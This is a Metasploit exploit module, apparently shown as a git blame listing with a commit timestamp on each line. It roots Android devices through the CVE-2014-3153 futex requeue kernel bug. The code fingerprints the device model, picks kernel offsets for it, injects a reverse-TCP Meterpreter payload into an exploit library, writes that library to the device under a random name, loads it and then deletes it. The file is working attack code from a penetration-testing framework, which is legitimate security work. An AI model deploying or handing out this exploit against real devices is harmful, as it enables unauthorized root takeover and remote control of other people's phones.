2014-12-01 03:49:22 +00:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2015-02-11 11:17:44 -06:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2014-12-01 03:49:22 +00:00
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
2014-12-01 03:49:22 +00:00
|
|
|
Rank = ExcellentRanking
|
|
|
|
|
|
|
|
|
|
include Msf::Post::File
|
|
|
|
|
include Msf::Post::Common
|
2020-09-18 11:38:43 +01:00
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
2014-12-01 03:49:22 +00:00
|
|
|
|
2021-09-10 12:53:39 +01:00
|
|
|
def initialize(info = {})
|
|
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
|
|
|
|
{
|
|
|
|
|
'Name' => "Android 'Towelroot' Futex Requeue Kernel Exploit",
|
|
|
|
|
'Description' => %q{
|
2015-02-12 12:11:40 -06:00
|
|
|
This module exploits a bug in futex_requeue in the Linux kernel, using
|
2017-08-28 20:17:58 -04:00
|
|
|
similar techniques employed by the towelroot exploit. Any Android device
|
2015-02-12 12:49:45 -06:00
|
|
|
with a kernel built before June 2014 is likely to be vulnerable.
|
2021-09-10 12:53:39 +01:00
|
|
|
},
|
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'Author' => [
|
2015-02-12 12:11:40 -06:00
|
|
|
'Pinkie Pie', # discovery
|
|
|
|
|
'geohot', # towelroot
|
|
|
|
|
'timwr' # metasploit module
|
2021-09-10 12:53:39 +01:00
|
|
|
],
|
|
|
|
|
'References' => [
|
2014-12-01 03:49:22 +00:00
|
|
|
[ 'CVE', '2014-3153' ],
|
|
|
|
|
[ 'URL', 'http://tinyhack.com/2014/07/07/exploiting-the-futex-bug-and-uncovering-towelroot/' ],
|
2025-02-28 09:35:28 +00:00
|
|
|
[ 'URL', 'http://web.archive.org/web/20160912014145/http://blog.nativeflow.com:80/the-futex-vulnerability' ],
|
2016-10-19 13:17:33 +08:00
|
|
|
],
|
2021-09-10 12:53:39 +01:00
|
|
|
'DisclosureDate' => '2014-05-03',
|
|
|
|
|
'SessionTypes' => [ 'meterpreter' ],
|
2025-04-26 01:28:35 +10:00
|
|
|
'Platform' => [ 'android', 'linux' ],
|
|
|
|
|
'Payload' => { 'Space' => 2048 },
|
2021-09-10 12:53:39 +01:00
|
|
|
'DefaultOptions' => {
|
|
|
|
|
'WfsDelay' => 300,
|
2025-04-26 01:28:35 +10:00
|
|
|
'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'
|
2021-09-10 12:53:39 +01:00
|
|
|
},
|
2023-03-13 10:31:27 +00:00
|
|
|
'Notes' => {
|
|
|
|
|
'Stability' => [CRASH_SAFE],
|
|
|
|
|
'SideEffects' => [],
|
|
|
|
|
'Reliability' => [],
|
2025-04-26 01:28:35 +10:00
|
|
|
'AKA' => ['towelroot']
|
|
|
|
|
},
|
2021-09-10 12:53:39 +01:00
|
|
|
'DefaultTarget' => 0,
|
|
|
|
|
'Targets' => [
|
|
|
|
|
# Automatic targetting via getprop ro.build.model
|
|
|
|
|
['Automatic Targeting', { 'auto' => true }],
|
|
|
|
|
|
|
|
|
|
# This is the default setting, Nexus 4, 5, 7, etc
|
|
|
|
|
[
|
|
|
|
|
'Default',
|
|
|
|
|
{
|
|
|
|
|
'new_samsung' => false,
|
|
|
|
|
'iovstack' => 2,
|
|
|
|
|
'offset' => 0,
|
2025-04-26 01:28:35 +10:00
|
|
|
'force_remove' => false
|
2021-09-10 12:53:39 +01:00
|
|
|
}
|
|
|
|
|
],
|
|
|
|
|
|
|
|
|
|
# Samsung devices, S3, S4, S5, etc
|
|
|
|
|
[
|
|
|
|
|
'New Samsung',
|
|
|
|
|
{
|
|
|
|
|
'new_samsung' => true,
|
|
|
|
|
'iovstack' => 2,
|
|
|
|
|
'offset' => 7380,
|
2025-04-26 01:28:35 +10:00
|
|
|
'force_remove' => true
|
2021-09-10 12:53:39 +01:00
|
|
|
}
|
|
|
|
|
],
|
|
|
|
|
|
|
|
|
|
# Older Samsung devices, e.g the Note 2
|
|
|
|
|
[
|
|
|
|
|
'Old Samsung',
|
|
|
|
|
{
|
|
|
|
|
'new_samsung' => false,
|
|
|
|
|
'iovstack' => 1,
|
|
|
|
|
'offset' => 0,
|
2025-04-26 01:28:35 +10:00
|
|
|
'force_remove' => true
|
2021-09-10 12:53:39 +01:00
|
|
|
}
|
|
|
|
|
],
|
|
|
|
|
|
|
|
|
|
# Samsung Galaxy Grand, etc
|
|
|
|
|
[
|
|
|
|
|
'Samsung Grand',
|
|
|
|
|
{
|
|
|
|
|
'new_samsung' => false,
|
|
|
|
|
'iovstack' => 5,
|
|
|
|
|
'offset' => 0,
|
2025-04-26 01:28:35 +10:00
|
|
|
'force_remove' => true
|
2021-09-10 12:53:39 +01:00
|
|
|
}
|
|
|
|
|
],
|
2016-10-19 13:17:33 +08:00
|
|
|
],
|
2021-10-06 13:43:31 +01:00
|
|
|
'Compat' => {
|
|
|
|
|
'Meterpreter' => {
|
|
|
|
|
'Commands' => %w[
|
|
|
|
|
core_loadlib
|
|
|
|
|
stdapi_fs_delete_file
|
|
|
|
|
stdapi_fs_getwd
|
|
|
|
|
]
|
|
|
|
|
}
|
2025-04-26 01:28:35 +10:00
|
|
|
}
|
2021-09-10 12:53:39 +01:00
|
|
|
}
|
|
|
|
|
)
|
|
|
|
|
)
|
2019-10-22 21:05:55 -04:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def check
|
2025-04-26 01:28:35 +10:00
|
|
|
os = cmd_exec('getprop ro.build.version.release')
|
2021-02-17 12:33:59 +00:00
|
|
|
unless Rex::Version.new(os) < Rex::Version.new('4.5.0')
|
2019-10-23 14:45:32 +08:00
|
|
|
vprint_error "Android version #{os} does not appear to be vulnerable"
|
2019-10-22 21:05:55 -04:00
|
|
|
return CheckCode::Safe
|
|
|
|
|
end
|
|
|
|
|
vprint_good "Android version #{os} appears to be vulnerable"
|
|
|
|
|
|
|
|
|
|
CheckCode::Appears
|
2014-12-01 03:49:22 +00:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def exploit
|
2016-10-19 13:17:33 +08:00
|
|
|
if target['auto']
|
2025-04-26 01:28:35 +10:00
|
|
|
product = cmd_exec('getprop ro.build.product')
|
|
|
|
|
fingerprint = cmd_exec('getprop ro.build.fingerprint')
|
2016-10-19 13:17:33 +08:00
|
|
|
print_status("Found device: #{product}")
|
|
|
|
|
print_status("Fingerprint: #{fingerprint}")
|
2014-12-01 03:49:22 +00:00
|
|
|
|
2016-10-19 13:17:33 +08:00
|
|
|
if [
|
2025-04-26 01:28:35 +10:00
|
|
|
'mako',
|
|
|
|
|
'm7',
|
|
|
|
|
'hammerhead',
|
|
|
|
|
'grouper',
|
|
|
|
|
'Y530-U00',
|
|
|
|
|
'G6-U10',
|
|
|
|
|
'g2',
|
|
|
|
|
'w7n',
|
|
|
|
|
'D2303',
|
|
|
|
|
'cancro',
|
2016-10-19 13:17:33 +08:00
|
|
|
].include? product
|
2016-11-06 14:33:24 +00:00
|
|
|
my_target = targets[1] # Default
|
2016-10-19 13:17:33 +08:00
|
|
|
elsif [
|
2025-04-26 01:28:35 +10:00
|
|
|
'klte', # Samsung Galaxy S5
|
|
|
|
|
'jflte', # Samsung Galaxy S4
|
|
|
|
|
'd2vzw' # Samsung Galaxy S3 Verizon (SCH-I535 w/ android 4.4.2, kernel 3.4.0)
|
2016-10-19 13:17:33 +08:00
|
|
|
].include? product
|
2016-11-06 14:33:24 +00:00
|
|
|
my_target = targets[2] # New Samsung
|
2016-10-19 13:17:33 +08:00
|
|
|
elsif [
|
2025-04-26 01:28:35 +10:00
|
|
|
't03g',
|
|
|
|
|
'm0',
|
2016-10-19 13:17:33 +08:00
|
|
|
].include? product
|
2016-11-06 14:33:24 +00:00
|
|
|
my_target = targets[3] # Old Samsung
|
2016-10-19 13:17:33 +08:00
|
|
|
elsif [
|
2025-04-26 01:28:35 +10:00
|
|
|
'baffinlite',
|
|
|
|
|
'Vodafone_785',
|
2016-10-19 13:17:33 +08:00
|
|
|
].include? product
|
2016-11-06 14:33:24 +00:00
|
|
|
my_target = targets[4] # Samsung Grand
|
2016-10-19 13:17:33 +08:00
|
|
|
else
|
|
|
|
|
print_status("Could not automatically target #{product}")
|
2016-11-06 14:33:24 +00:00
|
|
|
my_target = targets[1] # Default
|
2016-10-19 13:17:33 +08:00
|
|
|
end
|
2016-11-06 14:33:24 +00:00
|
|
|
else
|
|
|
|
|
my_target = target
|
2016-10-19 13:17:33 +08:00
|
|
|
end
|
2014-12-01 03:49:22 +00:00
|
|
|
|
2016-11-06 14:33:24 +00:00
|
|
|
print_status("Using target: #{my_target.name}")
|
2014-12-01 03:49:22 +00:00
|
|
|
|
2025-04-26 01:28:35 +10:00
|
|
|
local_file = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-3153.so')
|
2022-02-12 21:39:12 +00:00
|
|
|
exploit_data = File.read(local_file, mode: 'rb')
|
2015-02-11 11:17:44 -06:00
|
|
|
|
2016-10-19 13:17:33 +08:00
|
|
|
# Substitute the exploit shellcode with our own
|
|
|
|
|
space = payload_space
|
|
|
|
|
payload_encoded = payload.encoded
|
|
|
|
|
exploit_data.gsub!("\x90" * 4 + "\x00" * (space - 4), payload_encoded + "\x90" * (payload_encoded.length - space))
|
|
|
|
|
|
|
|
|
|
# Apply the target config
|
2016-11-06 14:33:24 +00:00
|
|
|
offsets = my_target.opts
|
2016-10-19 13:17:33 +08:00
|
|
|
config_buf = [
|
|
|
|
|
offsets['new_samsung'] ? -1 : 0,
|
|
|
|
|
offsets['iovstack'].to_i,
|
|
|
|
|
offsets['offset'].to_i,
|
|
|
|
|
offsets['force_remove'] ? -1 : 0,
|
|
|
|
|
].pack('I4')
|
2025-04-26 01:28:35 +10:00
|
|
|
exploit_data.gsub!('c0nfig' + "\x00" * 10, config_buf)
|
2014-12-01 03:49:22 +00:00
|
|
|
|
2016-10-19 13:17:33 +08:00
|
|
|
workingdir = session.fs.dir.getwd
|
2025-04-26 01:28:35 +10:00
|
|
|
remote_file = "#{workingdir}/#{Rex::Text.rand_text_alpha_lower(5)}"
|
2016-10-19 13:17:33 +08:00
|
|
|
write_file(remote_file, exploit_data)
|
|
|
|
|
|
|
|
|
|
print_status("Loading exploit library #{remote_file}")
|
|
|
|
|
session.core.load_library(
|
2021-09-10 12:53:39 +01:00
|
|
|
'LibraryFilePath' => local_file,
|
|
|
|
|
'TargetFilePath' => remote_file,
|
|
|
|
|
'UploadLibrary' => false,
|
|
|
|
|
'Extension' => false,
|
|
|
|
|
'SaveToDisk' => false
|
2016-10-19 13:17:33 +08:00
|
|
|
)
|
2016-12-20 00:59:27 +08:00
|
|
|
print_status("Loaded library #{remote_file}, deleting")
|
2016-10-19 13:17:33 +08:00
|
|
|
session.fs.file.rm(remote_file)
|
2016-12-20 00:59:27 +08:00
|
|
|
print_status("Waiting #{datastore['WfsDelay']} seconds for payload")
|
2016-10-19 13:17:33 +08:00
|
|
|
end
|
2014-12-01 03:49:22 +00:00
|
|
|
end
|